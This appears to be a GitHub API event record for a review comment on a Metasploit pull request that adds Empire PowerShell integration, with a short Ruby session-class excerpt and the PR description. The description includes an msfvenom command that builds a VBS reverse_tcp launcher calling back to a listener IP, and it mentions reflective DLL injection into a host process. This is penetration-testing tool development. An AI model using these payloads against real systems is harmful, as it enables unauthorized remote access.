{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/212665668","pull_request_review_id":149350002,"id":212665668,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDIxMjY2NTY2OA==","diff_hunk":"@@ -0,0 +1,215 @@\n+# -*- coding: binary -*-\n+require 'msf/ui/console/command_dispatcher.rb'\n+require 'msf/base/sessions/command_shell'\n+require 'rex/text/table.rb'\n+require 'msf/base'\n+require 'msf/core/session/interactive.rb'\n+\n+module Msf\n+module Sessions\n+\n+class EmpireShell < Msf::Sessions::CommandShell\n+  include Msf::Session\n+  include Rex::Ui::Text::DispatcherShell::CommandDispatcher\n+  include Msf::Session::Interactive\n+\n+  @client_emp = ''\n+  @agent_name = ''\n+\n+  attr_accessor :max_threads\n+  attr_accessor :platform\n+  attr_accessor :arch\n+  attr_accessor :alive\n+\n+  def desc\n+    \"Empire Shell #{self.platform}\"\n+  end\n+\n+  def interactive?\n+    true\n+  end\n+\n+  def self.type\n+    \"Empire\"\n+  end\n+\n+  def framework","path":"lib/msf/base/sessions/empire.rb","position":36,"original_position":36,"commit_id":"08ba84117c24978679f2a2c377da6819061145a6","original_commit_id":"08ba84117c24978679f2a2c377da6819061145a6","user":{"login":"Auxilus","id":23075789,"node_id":"MDQ6VXNlcjIzMDc1Nzg5","avatar_url":"https://avatars1.githubusercontent.com/u/23075789?v=4","gravatar_id":"","url":"https://api.github.com/users/Auxilus","html_url":"https://github.com/Auxilus","followers_url":"https://api.github.com/users/Auxilus/followers","following_url":"https://api.github.com/users/Auxilus/following{/other_user}","gists_url":"https://api.github.com/users/Auxilus/gists{/gist_id}","starred_url":"https://api.github.com/users/Auxilus/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Auxilus/subscriptions","organizations_url":"https://api.github.com/users/Auxilus/orgs","repos_url":"https://api.github.com/users/Auxilus/repos","events_url":"https://api.github.com/users/Auxilus/events{/privacy}","received_events_url":"https://api.github.com/users/Auxilus/received_events","type":"User","site_admin":false},"body":"is this method supposed to return `nil`? ","created_at":"2018-08-24T15:26:17Z","updated_at":"2018-08-24T15:26:17Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/10521#discussion_r212665668","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10521","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/212665668"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/10521#discussion_r212665668"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10521"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10521","id":210680325,"node_id":"MDExOlB1bGxSZXF1ZXN0MjEwNjgwMzI1","html_url":"https://github.com/rapid7/metasploit-framework/pull/10521","diff_url":"https://github.com/rapid7/metasploit-framework/pull/10521.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/10521.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10521","number":10521,"state":"open","locked":false,"title":"GSoC Project - Extending metasploit to use Empire.","user":{"login":"ManasMahapatra","id":28961707,"node_id":"MDQ6VXNlcjI4OTYxNzA3","avatar_url":"https://avatars2.githubusercontent.com/u/28961707?v=4","gravatar_id":"","url":"https://api.github.com/users/ManasMahapatra","html_url":"https://github.com/ManasMahapatra","followers_url":"https://api.github.com/users/ManasMahapatra/followers","following_url":"https://api.github.com/users/ManasMahapatra/following{/other_user}","gists_url":"https://api.github.com/users/ManasMahapatra/gists{/gist_id}","starred_url":"https://api.github.com/users/ManasMahapatra/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ManasMahapatra/subscriptions","organizations_url":"https://api.github.com/users/ManasMahapatra/orgs","repos_url":"https://api.github.com/users/ManasMahapatra/repos","events_url":"https://api.github.com/users/ManasMahapatra/events{/privacy}","received_events_url":"https://api.github.com/users/ManasMahapatra/received_events","type":"User","site_admin":false},"body":"This PR intends to allow users get the functionality of  Empire Powershell from within the Metasploit. As of now it's only  supporting Windows platforms.\r\n## Verification\r\n*Setting up Environment*\r\n\r\n1. Empire Powershell does provide a Web API but its still under development, due to which its not yet able to generate and store stagers. To temporarily evade these problems, clone Empire from `https://github.com/ManasMahapatra/Empire.git `. I added minimalistic approaches which can create our stager directly from API, without having to launch the CLI.\r\n\r\n2. Once you clone, install. `cd Empire/setup/ && ./install.sh`\r\n\r\n3. Once the installation is done, launch the API. Make sure you enter credentials and not leave it for random generation. `./empire --headless --username <username> --password <password>`\r\n\r\n*Creating payloads *\r\n\r\n1. Through msfvenom: `msfvenom -p empire/vbs/reverse_tcp LHOST=192.168.43.221 LPORT=5555 USERNAME=<username> PASSWORD=<password> -t raw -o /tmp/launcher.vbs`\r\n![screenshot from 2018-08-13 19-14-37](https://user-images.githubusercontent.com/28961707/44575337-62945500-a7a9-11e8-9396-5e3ee13ad832.png)\r\n\r\n2.Through msfconsole:\r\n![screenshot from 2018-08-13 19-19-00](https://user-images.githubusercontent.com/28961707/44575417-953e4d80-a7a9-11e8-9f66-1f6f6958da78.png)\r\n\r\n*Post Module Execution(WiP)*\r\nThe Post module creates a reflectively injectable Empire DLL, and invokes it from a host process, the agent gets connected, but there are minor troubles in handling the session.\r\n![screenshot from 2018-08-13 19-28-45](https://user-images.githubusercontent.com/28961707/44575527-d898bc00-a7a9-11e8-974e-4c7e11ee090c.png)\r\n\r\n*Handler*\r\n![screenshot from 2018-08-13 07-43-31](https://user-images.githubusercontent.com/28961707/44575631-05e56a00-a7aa-11e8-9295-701477745cb2.png)\r\n\r\n##Issues\r\n\r\nThere exists minor issues with session logging and handling, requires a bit of help in handling sessions. The session module has been already scripted with the necessary commands to be dispatched, yet I am not yet sure how to make it properly interactive.\r\n\r\n\r\n","created_at":"2018-08-24T09:01:05Z","updated_at":"2018-08-24T15:26:17Z","closed_at":null,"merged_at":null,"merge_commit_sha":"600da182032b50ac58b34f807e441d44a183c580","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10521/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10521/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10521/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/08ba84117c24978679f2a2c377da6819061145a6","head":{"label":"ManasMahapatra:development-final","ref":"development-final","sha":"08ba84117c24978679f2a2c377da6819061145a6","user":{"login":"ManasMahapatra","id":28961707,"node_id":"MDQ6VXNlcjI4OTYxNzA3","avatar_url":"https://avatars2.githubusercontent.com/u/28961707?v=4","gravatar_id":"","url":"https://api.github.com/users/ManasMahapatra","html_url":"https://github.com/ManasMahapatra","followers_url":"https://api.github.com/users/ManasMahapatra/followers","following_url":"https://api.github.com/users/ManasMahapatra/following{/other_user}","gists_url":"https://api.github.com/users/ManasMahapatra/gists{/gist_id}","starred_url":"https://api.github.com/users/ManasMahapatra/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ManasMahapatra/subscriptions","organizations_url":"https://api.github.com/users/ManasMahapatra/orgs","repos_url":"https://api.github.com/users/ManasMahapatra/repos","events_url":"https://api.github.com/users/ManasMahapatra/events{/privacy}","received_events_url":"https://api.github.com/users/ManasMahapatra/received_events","type":"User","site_admin":false},"repo":{"id":127531827,"node_id":"MDEwOlJlcG9zaXRvcnkxMjc1MzE4Mjc=","name":"metasploit-framework","full_name":"ManasMahapatra/metasploit-framework","owner":{"login":"ManasMahapatra","id":28961707,"node_id":"MDQ6VXNlcjI4OTYxNzA3","avatar_url":"https://avatars2.githubusercontent.com/u/28961707?v=4","gravatar_id":"","url":"https://api.github.com/users/ManasMahapatra","html_url":"https://github.com/ManasMahapatra","followers_url":"https://api.github.com/users/ManasMahapatra/followers","following_url":"https://api.github.com/users/ManasMahapatra/following{/other_user}","gists_url":"https://api.github.com/users/ManasMahapatra/gists{/gist_id}","starred_url":"https://api.github.com/users/ManasMahapatra/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ManasMahapatra/subscriptions","organizations_url":"https://api.github.com/users/ManasMahapatra/orgs","repos_url":"https://api.github.com/users/ManasMahapatra/repos","events_url":"https://api.github.com/users/ManasMahapatra/events{/privacy}","received_events_url":"https://api.github.com/users/ManasMahapatra/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/ManasMahapatra/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework","forks_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/forks","keys_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/events","assignees_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/merges","archive_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/ManasMahapatra/metasploit-framework/deployments","created_at":"2018-03-31T12:54:17Z","updated_at":"2018-08-14T09:30:47Z","pushed_at":"2018-08-24T09:07:49Z","git_url":"git://github.com/ManasMahapatra/metasploit-framework.git","ssh_url":"git@github.com:ManasMahapatra/metasploit-framework.git","clone_url":"https://github.com/ManasMahapatra/metasploit-framework.git","svn_url":"https://github.com/ManasMahapatra/metasploit-framework","homepage":"https://www.metasploit.com/","size":335602,"stargazers_count":1,"watchers_count":1,"language":"Ruby","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":{"key":"other","name":"Other","spdx_id":null,"url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":0,"open_issues":0,"watchers":1,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"66baff289e130817d9595437ce84d5b1baad07e5","user":{"login":"rapid7","id":1013671,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwMTM2NzE=","avatar_url":"https://avatars1.githubusercontent.com/u/1013671?v=4","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"node_id":"MDEwOlJlcG9zaXRvcnkyMjkzMTU4","name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwMTM2NzE=","avatar_url":"https://avatars1.githubusercontent.com/u/1013671?v=4","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/rapid7/metasploit-framework/deployments","created_at":"2011-08-30T06:13:20Z","updated_at":"2018-08-24T14:25:36Z","pushed_at":"2018-08-24T13:13:45Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"https://www.metasploit.com/","size":355464,"stargazers_count":13297,"watchers_count":13297,"language":"Ruby","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":7092,"mirror_url":null,"archived":false,"open_issues_count":571,"license":{"key":"other","name":"Other","spdx_id":null,"url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":7092,"open_issues":571,"watchers":13297,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10521"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/10521"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10521"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10521/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10521/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10521/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/08ba84117c24978679f2a2c377da6819061145a6"}},"author_association":"NONE"}}
{"actor":{"display_login":"Auxilus"}}